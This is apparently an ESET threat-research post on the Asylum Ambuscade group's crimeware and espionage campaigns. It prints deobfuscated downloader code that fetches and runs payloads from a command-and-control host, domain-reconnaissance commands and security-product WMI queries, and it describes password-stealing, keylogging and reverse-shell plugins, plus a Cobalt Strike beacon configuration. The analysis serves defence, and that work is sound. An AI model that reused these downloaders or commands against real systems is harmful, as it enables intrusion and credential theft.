Asylum Ambuscade: crimeware or cyberespionage?

June 8, 2023

Asylum Ambuscade is a cybercrime group that has been performing cyberespionage operations on the side. They were first publicly outed in March 2022 by Proofpoint researchers after the group targeted European government staff involved in helping Ukrainian refugees, just a few weeks after the start of the Russia-Ukraine war. In this blogpost, we provide details about the early 2022 espionage campaign and about multiple cybercrime campaigns in 2022 and 2023.

Key points of this blogpost:

Asylum Ambuscade has been operating since at least 2020.
It is a crimeware group that targets bank customers and cryptocurrency traders in various regions, including North America and Europe.
Asylum Ambuscade also does espionage against government entities in Europe and Central Asia.
Most of the group’s implants are developed in script languages such as AutoHotkey, JavaScript, Lua, Python, and VBS.

Cyberespionage campaigns

Asylum Ambuscade has been running cyberespionage campaigns since at least 2020. We found previous compromises of government officials and employees of state-owned companies in Central Asia countries and Armenia.

In 2022, and as highlighted in the Proofpoint publication, the group targeted government officials in several European countries bordering Ukraine. We assess that the goal of the attackers was to steal confidential information and webmail credentials from official government webmail portals.

The compromise chain starts with a spearphishing email that has a malicious Excel spreadsheet attachment. Malicious VBA code therein downloads an MSI package from a remote server and installs SunSeed, a downloader written in Lua.

Note that we observed some variations in the attachments. In June 2022, the group used an exploit of the Follina vulnerability (CVE-2022-30190) instead of malicious VBA code. This document is shown in Figure 1. It is written in Ukrainian and the decoy is about a security alert regarding a Gamaredon (another well-known espionage group) attack in Ukraine.

Figure 1. Document leveraging the Follina vulnerability

Then, if the machine is deemed interesting, the attackers deploy the next stage: AHKBOT. This is a downloader written in AutoHotkey that can be extended with plugins, also written in AutoHotkey, in order to spy on the victim’s machine. An analysis of the group’s toolset is provided later in the blogpost.

Cybercrime campaigns

Even though the group came into the spotlight because of its cyberespionage operations, it has been mostly running cybercrime campaigns since early 2020.

Since January 2022, we have counted more than 4,500 victims worldwide. While most of them are located in North America, as shown in Figure 2, it should be noted that we have also seen victims in Asia, Africa, Europe, and South America.

Figure 2. Geographical distribution of victims since January 2022

The targeting is very wide and mostly includes individuals, cryptocurrency traders, and small and medium businesses (SMBs) in various verticals.

While the goal of targeting cryptocurrency traders is quite obvious – stealing cryptocurrency – we don’t know for sure how Asylum Ambuscade monetizes its access to SMBs. It is possible the group sells the access to other crimeware groups who might, for example, deploy ransomware. We have not observed this in our telemetry, though.

Asylum Ambuscade’s crimeware compromise chain is, overall, very similar to the one we describe for the cyberespionage campaigns. The main difference is the compromise vector, which can be:

A malicious Google Ad redirecting to a website delivering a malicious JavaScript file (as highlighted in this SANS blogpost)
Multiple HTTP redirections in a Traffic Direction System (TDS). The TDS used by the group is referred to as 404 TDS by Proofpoint. It is not exclusive to Asylum Ambuscade and we observed it was, for example, used by another threat actor to deliver Qbot. An example of a redirection chain, captured by io, is shown in Figure 3.

Figure 3. 404 TDS redirection chain, as captured by urlscan.io – numbers indicate the redirections in sequence

In addition to the different compromise vector, the group developed SunSeed equivalents in other scripting languages such as Tcl and VBS. In March 2023, it developed an AHKBOT equivalent in Node.js that we named NODEBOT. We believe those changes were intended to bypass detections from security products. An overview of the compromise chain is provided in Figure 4.

Figure 4. Compromise chain

Attribution

We believe that the cyberespionage and cybercrime campaigns are operated by the same group.

The compromise chains are almost identical in all campaigns. In particular, SunSeed and AHKBOT have been widely used for both cybercrime and cyberespionage.
We don’t believe that SunSeed and AHKBOT are sold on the underground market. These tools are not very sophisticated in comparison to other crimeware tools for sale, the number of victims is quite low were it a toolset shared among multiple groups, and the network infrastructure is consistent across campaigns.

As such, we believe that Asylum Ambuscade is a cybercrime group that is doing some cyberespionage on the side.

We also believe that these three articles describe incidents related to the group:

A TrendMicro article from 2020: Credential Stealer Targets US, Canadian Bank Customers
A Proofpoint article from 2022: Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement
A Proofpoint article from 2023: Screentime: Sometimes It Feels Like Somebody’s Watching Me

Toolset

Malicious JavaScript files

In most crimeware campaigns run by the group, the compromise vector is not a malicious document, but a JavaScript file downloaded from the previously documented TDS. Note that it has to be manually executed by the victim, so the attackers are trying to entice people into clicking on the files by using filenames such as Document_12_dec-1532825.js, TeamViewer_Setup.js, or AnyDeskInstall.js.

Those scripts are obfuscated using random variable names and junk code, most likely intended to bypass detections. An example is provided in Figure 5.

Figure 5. Obfuscated JavaScript downloader

Once deobfuscated, this script can be summarized in two lines:

var obj = new ActiveXObject(“windowsinstaller.installer”);
obj.InstallProduct(“https://namesilo.my[.]id/css/ke.msi”);

First-stage downloaders

The first stage downloaders are dropped by an MSI package downloaded by either a malicious document or a JavaScript file. There are three versions of this downloader:

Lua (SunSeed)
Tcl
VBS

SunSeed is a downloader written in the Lua language and heavily obfuscated, as shown in Figure 6.

Figure 6. The SunSeed Lua variant is heavily obfuscated

Once manually deobfuscated, the main function of the script looks like this:

require(‘socket.http’)
serial_number = Drive.Item(‘C’).SerialNumber
server_response = socket.request(http://84.32.188[.]96/ + serial_number)
pcall(loadstring(server_response))
collectgarbage()
<jump to the start and retry>

It gets the serial number of the C: drive and sends a GET request to http://<C&C>/<serial_number> using the User-Agent LuaSocket 2.0.2. It then tries to execute the reply. This means that SunSeed expects to receive additional Lua scripts from the C&C server. We found two of those scripts: install and move.

install is a simple Lua script that downloads an AutoHotkey script into C:ProgramDatamscoree.ahk and the legitimate AutoHotkey interpreter into C:ProgramDatamscoree.exe, as shown in Figure 7. This AutoHotkey script is AHKBOT, the second stage downloader.

Figure 7. Lua script that downloads an AutoHotkey script

An even simpler Lua script, move, is shown in Figure 8. It is used to reassign management of a victimized computer from one C&C server to another. It is not possible to update the hardcoded SunSeed C&C server; to complete a C&C reassignment, a new MSI installer needs to be downloaded and executed, exactly as when the machine was first compromised.

Figure 8. Lua script to move management of a compromised machine from one C&C server to another

As mentioned above, we found another variant of SunSeed developed using the Tcl language instead of Lua, as shown in Figure 9. The main difference is that it doesn’t send the C: drive’s serial number in the GET request.

Figure 9. SunSeed variant in Tcl

The third variant was developed in VBS, as shown in Figure 10. The main difference is that it doesn’t download and interpret additional code, but downloads and executes an MSI package.

Figure 10. SunSeed variant in VBS

Second-stage downloaders

The main second-stage downloader is AHKBOT, developed in AutoHotkey. As shown in Figure 11, it sends a GET request, with the User-Agent AutoHotkey (the default value used by AutoHotkey), to http://<C&C>/<serial_number_of_C_drive>-RP, almost exactly as the earlier SunSeed. RP might be a campaign identifier, as it changes from sample to sample.

Figure 11. AHKBOT

AHKBOT can be found on disk at various locations, such as C:ProgramDatamscoree.ahk or C:ProgramDataadb.ahk. It downloads and interprets spy plugins, also developed in AutoHotkey. A summary of the 21 plugins is provided in Table 1.

Table 1. SunSeed plugins

Plugin name
Description
ass
Download and execute a Cobalt Strike loader packed with VMProtect. The beacon’s configuration extracted using the tool CobaltStrikeParser is provided in the IoCs in the Cobalt Strike configuration section.
connect
Send the log message connected! to the C&C server.
deletecookies
Download SQLite from /download?path=sqlite3slashsqlite3dotdll via HTTP from its C&C server, then delete browser cookies for the domains td.com (a Canadian bank) and mail.ru. We don’t know why the attackers need to delete cookies, especially for these domains. It’s possible it is intended to delete session cookies to force its victims to reenter their credentials that would then be captured by the keylogger.
deskscreen
Take a screenshot using Gdip.BitmapFromScreen and send it to the C&C server.
deskscreenon
Similar to deskscreen but take screenshots in a 15-second loop.
deskscreenoff
Stop the deskscreenon loop.
domain

cmd /c chcp 65001 && net group “domain admins” /domain
cmd /c chcp 65001 && net group “enterprise admins” /domain
cmd /c chcp 65001 && net group “”Domain Computers”” /domain
cmd /c chcp 65001 && nltest /dclist:
cmd /c chcp 65001 && nltest /DOMAIN_TRUSTS
cmd /c chcp 65001 && ipconfig /all
cmd /c chcp 65001 && systeminfo

hardware

Select * from Win32_OperatingSystem
SELECT * FROM Win32_LogicalDisk
SELECT * FROM Win32_Processor
Select * from Win32_OperatingSystem
SELECT * FROM Win32_VideoController
Select * from Win32_NetworkAdapterConfiguration WHERE IPEnabled = True
Select * from FirewallProduct
Select * from AntiSpywareProduct
Select * from AntiVirusProduct
SELECT * FROM Win32_Product
SELECT Caption,ExecutablePath,ProcessID FROM Win32_Process where ExecutablePath is not null

and send to the C&C server.

hvncon
Download and execute a custom hVNC (hidden VNC) application fromhttp://<C&C>/download?path=hvncslashhvncdotzip
hvncoff
Stop the hVNC by executing taskkill /f /im hvnc.exe.
installchrome
Download http://<C&C>/download?path=chromeslashchromedotzip, a legitimate copy of Google Chrome, and unpack it into %LocalAppData%Google?ChromeApplication. This copy of Chrome is likely used by hVNC if the victim doesn’t have Chrome installed.
keylogon
Start the keylogger, hooked input using DllCall(“SetWindowsHookEx”, […]). The keystrokes are sent to the C&C server when the active application changes.
keylogoff
Stop the keylogger.
passwords
Steal passwords from Internet Explorer, Firefox, and Chromium-based browsers. It downloads SQLite to read the browser storages. It can also decrypt locally encrypted passwords by calling the Microsoft CryptUnprotectData function. Stolen passwords are sent to the C&C server.

This plugin looks very similar to the password stealer described by Trend Micro in 2020, including the hard drive serial numbers used for debugging: 605109072 and 2786990575. This could indicate that it is still being developed on the same machines.

rutservon
Download a remote access trojan (RAT) from http://<C&C>/?download?path=rutservslashagent6dot10dotexe (SHA-1: 3AA8A4554B175DB9DA5EEB7824B5C047638A6A9D).This is a commercial RAT developed by Remote Utilities LLC that provides full control over the machine on which it is installed.
rutservoff
Kill the RAT.
steal
Download and execute an infostealer – probably based on Rhadamanthys.
tasklist
List running processes by using the WMI query Select * from Win32_Process.
towake
Move the mouse using MouseMove, 100, 100. This is likely to prevent the computer from going to sleep, especially given the name of the plugin.
update
Download a new version of SunSeed AutoHotkey from the C&C server and replace the current SunSeed on disk. The AutoHotkey interpreter is located in C:ProgramDataadb.exe.
wndlist
List active windows by calling WinGet windows, List (Autohotkey syntax).

The plugins send the result back to the C&C server using a log function, as shown in Figure 12.

Figure 12. Log function

In March 2023, the attackers developed a variant of AHKBOT in Node.js that we have named NODEBOT – see Figure 13.

Figure 13. NODEBOT

The attackers also rewrote some AHKBOT plugins in JavaScript to make them compatible with NODEBOT. So far, we have observed the following plugins (an asterisk indicates that the plugin is new to NODEBOT):

connect
deskscreen
hardware
hcmdon (a reverse shell in Node.js)*
hvncoff
hvncon
keylogoff
keylogon (download and execute the AutoHotkey keylogger)
mods (download and install hVNC)*
passwords
screen

Conclusion

Asylum Ambuscade is a cybercrime group mostly targeting SMBs and individuals in North America and Europe. However, it appears to be branching out, running some recent cyberespionage campaigns on the side, against governments in Central Asia and Europe from time to time.

It is quite unusual to catch a cybercrime group running dedicated cyberespionage operations, and as such we believe that researchers should keep close track of Asylum Ambuscade activities.

ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.

IoCs

Files

SHA-1
Filename
ESET detection name
Description
2B42FD41A1C8AC12221857DD2DF93164A71B95D7
ass.dll
Win64/Packed.VMProtect.OX
Cobalt Strike loader.
D5F8ACAD643EE8E1D33D184DAEA0C8EA8E7FD6F8
M_suri antiinfla_ioniste Polonia.doc
DOC/TrojanDownloader.Agent.AAP
Document exploiting the Follina vulnerability.
57157C5D3C1BB3EB3E86B24B1F4240C867A5E94F
N/A
Win32/TrojanDownloader.AutoHK.KH
AHKBOT.
7DB446B95D5198330B2B25E4BA6429C57942CFC9
N/A
VBS/Agent.QOF
Python screenshotter.
5F67279C195F5E8A35A24CBEA76E25BAD6AB6E8E
N/A
VBS/TrojanDownloader.Agent.YDQ
VBS downloader.
C98061592DE61E34DA280AB179465580947890DE
install.msi
JS/Agent.QRI
NODEBOT.
519E388182DE055902C656B2D95CCF265A96CEAB
Document_12_dec-1532825.js
JS/TrojanDownloader.Agent.ZJM
Malicious JavaScript file distributed via the TDS.
AC3AFD14AD1AEA9E77A84C84022B4022DF1FC88B
ahk
Win32/Spy.AHK.AD
AHKBOT plugin.
64F5AC9F0C6C12F2A48A1CB941847B0662734FBF
ass
Win32/TrojanDownloader.AHK.N
AHKBOT plugin.
557C5150A44F607EC4E7F4D0C0ED8EE6E9D12ADF
connect
Win32/Spy.AHK.AD
AHKBOT plugin.
F85B82805C6204F34DB0858E2F04DA9F620A0277
deletecookies
Win32/Spy.AHK.AD
AHKBOT plugin.
5492061DE582E71B2A5DA046536D4150F6F497F1
deskscreen
Win32/Spy.AHK.AD
AHKBOT plugin.
C554100C15ED3617EBFAAB00C983CED5FEC5DB11
deskscreenoff
Win32/Spy.AHK.AD
AHKBOT plugin.
AD8143DE4FC609608D8925478FD8EA3CD9A37C5D
deskscreenon
Win32/Spy.AHK.AD
AHKBOT plugin.
F2948C27F044FC6FB4849332657801F78C0F7D5E
domain
Win32/TrojanDownloader.AutoHK.KH
AHKBOT plugin.
7AA23E871E796F89C465537E6ECE962412CDA636
hardware
Win32/Spy.AHK.AD
AHKBOT plugin.
384961E19624437EB4EB22B1BF45953D7147FB8F
hvncoff
Win32/Spy.AHK.AD
AHKBOT plugin.
7FDB9A73B3F13DBD94D392132D896A5328DACA59
hvncon
Win32/Spy.AHK.AD
AHKBOT plugin.
3E38D54CC55A48A3377A7E6A0800B09F2E281978
installchrome
Win32/Spy.AHK.AD
AHKBOT plugin.
7F8742778FC848A6FBCFFEC9011B477402544171
keylogoff
Win32/Spy.AHK.AD
AHKBOT plugin.
29604997030752919EA42B6D6CEE8D3AE28F527E
keylogon
Win32/Spy.AHK.AD
AHKBOT plugin.
7A78AF75841C2A8D8A5929C214F08EB92739E9CB
passwords
Win32/Spy.AHK.AB
AHKBOT plugin.
441369397D0F8DB755282739A05CB4CF52113C40
rutservoff
Win32/Spy.AHK.AD
AHKBOT plugin.
117ECFA95BE19D5CF135A27AED786C98EC8CE50B
rutservon
Win32/Spy.AHK.AD
AHKBOT plugin.
D24A9C8A57C08D668F7D4A5B96FB7B5BA89D74C3
steal
Win32/Spy.AHK.AE
AHKBOT plugin.
95EDC096000C5B8DA7C8F93867F736928EA32575
towake
Win32/Spy.AHK.AD
AHKBOT plugin.
62FA77DAEF21772D599F2DC17DBBA0906B51F2D9
update
Win32/Spy.AHK.AD
AHKBOT plugin.
A9E3ACFE029E3A80372C0BB6B7C500531D09EDBE
wndlist
Win32/Spy.AHK.AD
AHKBOT plugin.
EE1CFEDD75CBA9028904C759740725E855AA46B5
tasklist
Win32/Spy.AHK.AD
AHKBOT plugin.

Cobalt Strike configuration

BeaconType – HTTP
Port – 80
SleepTime – 45000
MaxGetSize – 2801745
Jitter – 37
MaxDNS – Not Found
PublicKey_MD5 – e4394d2667cc8f9d0af0bbde9e808c29
C2Server – snowzet[.]com,/jquery-3.3.1.min.js
UserAgent – Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)
HttpPostUri – /jquery-3.3.2.min.js
Malleable_C2_Instructions – Remove 1522 bytes from the end
Remove 84 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata – ConstHeaders
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Metadata
base64url
prepend “__cfduid=”
header “Cookie”
HttpPost_Metadata – ConstHeaders
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
SessionId
mask
base64url
parameter “__cfduid”
Output
mask
base64url
print
PipeName – Not Found
DNS_Idle – Not Found
DNS_Sleep – Not Found
SSH_Host – Not Found
SSH_Port – Not Found
SSH_Username – Not Found
SSH_Password_Plaintext – Not Found
SSH_Password_Pubkey – Not Found
SSH_Banner –
HttpGet_Verb – GET
HttpPost_Verb – POST
HttpPostChunk – 0
Spawnto_x86 – %windir%syswow64dllhost.exe
Spawnto_x64 – %windir%sysnativedllhost.exe
CryptoScheme – 0
Proxy_Config – Not Found
Proxy_User – Not Found
Proxy_Password – Not Found
Proxy_Behavior – Use IE settings
Watermark – 206546002
bStageCleanup – True
bCFGCaution – False
KillDate – 0
bProcInject_StartRWX – False
bProcInject_UseRWX – False
bProcInject_MinAllocSize – 17500
ProcInject_PrependAppend_x86 – b’x90x90’
Empty
ProcInject_PrependAppend_x64 – b’x90x90’
Empty
ProcInject_Execute – ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod – NtMapViewOfSection
bUsesCookies – True
HostHeader –
headersToRemove – Not Found
DNS_Beaconing – Not Found
DNS_get_TypeA – Not Found
DNS_get_TypeAAAA – Not Found
DNS_get_TypeTXT – Not Found
DNS_put_metadata – Not Found
DNS_put_output – Not Found
DNS_resolver – Not Found
DNS_strategy – round-robin
DNS_strategy_rotate_seconds – -1
DNS_strategy_fail_x – -1
DNS_strategy_fail_seconds – -1

MITRE ATT&CK techniques

This table was built using version 13 of the MITRE ATT&CK framework.

Tactic
ID
Name
Description
Resource Development
T1583.003
Acquire Infrastructure: Virtual Private Server
Asylum Ambuscade rented VPS servers.
T1587.001
Develop Capabilities: Malware
Asylum Ambuscade develops custom implants in various scripting languages.
Initial Access
T1189
Drive-by Compromise
Targets were redirected via a TDS to a website delivering a malicious JavaScript file.
T1566.001
Phishing: Spearphishing Attachment
Targets receive malicious Excel or Word documents.
Execution
T1059.005
Command and Scripting Interpreter: Visual Basic
Asylum Ambuscade has a downloader in VBS.
T1059.006
Command and Scripting Interpreter: Python
Asylum Ambuscade has a screenshotter in Python.
T1059.007
Command and Scripting Interpreter: JavaScript
Asylum Ambuscade has a downloader in JavaScript (NODEBOT).
T1059
Command and Scripting Interpreter
Asylum Ambuscade has downloaders in other scripting languages such as Lua, AutoHotkey, or Tcl.
T1204.002
User Execution: Malicious File
Targets needs to manually execute the malicious document or JavaScript file.
Persistence
T1547.001
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
SunSeed persists via a LNK file in the startup folder.
Defense Evasion
T1027.010
Obfuscated Files or Information: Command Obfuscation
Downloaded JavaScript files are obfuscated with junk code.
Credential Access
T1555.003
Credentials from Password Stores: Credentials from Web Browsers
AHKBOT passwords plugin can steal browser credentials.
Discovery
T1087.002
Account Discovery: Domain Account
AHKBOT domain plugin gathers information about the domain using net group.
T1010
Application Window Discovery
AHKBOT wndlist plugin lists the active windows.
T1482
Domain Trust Discovery
AHKBOT domain plugin gathers information using nltest.
T1057
Process Discovery
AHKBOT tasklist plugin lists the active processes using Select * from Win32_Process.
T1518.001
Software Discovery: Security Software Discovery
AHKBOT hardware plugin lists security software using Select * from FirewallProduct, Select * from AntiSpywareProduct and Select * from AntiVirusProduct.
T1082
System Information Discovery
AHKBOT wndlist plugin gets system information using systeminfo.
T1016
System Network Configuration Discovery
AHKBOT wndlist plugin gets network configuration information using ipconfig /all.
Collection
T1056.001
Input Capture: Keylogging
AHKBOT keylogon records keystrokes.
T1115
Clipboard Data
AHKBOT keylogon monitors the clipboard.
T1113
Screen Capture
AHKBOT deskscreen takes screenshot.
Command and Control
T1071.001
Application Layer Protocol: Web Protocols
AHKBOT (and all the other downloaders) communicates with the C&C server via HTTP.
Exfiltration
T1041
Exfiltration Over C2 Channel
Data is exfiltrated via the C&C channel.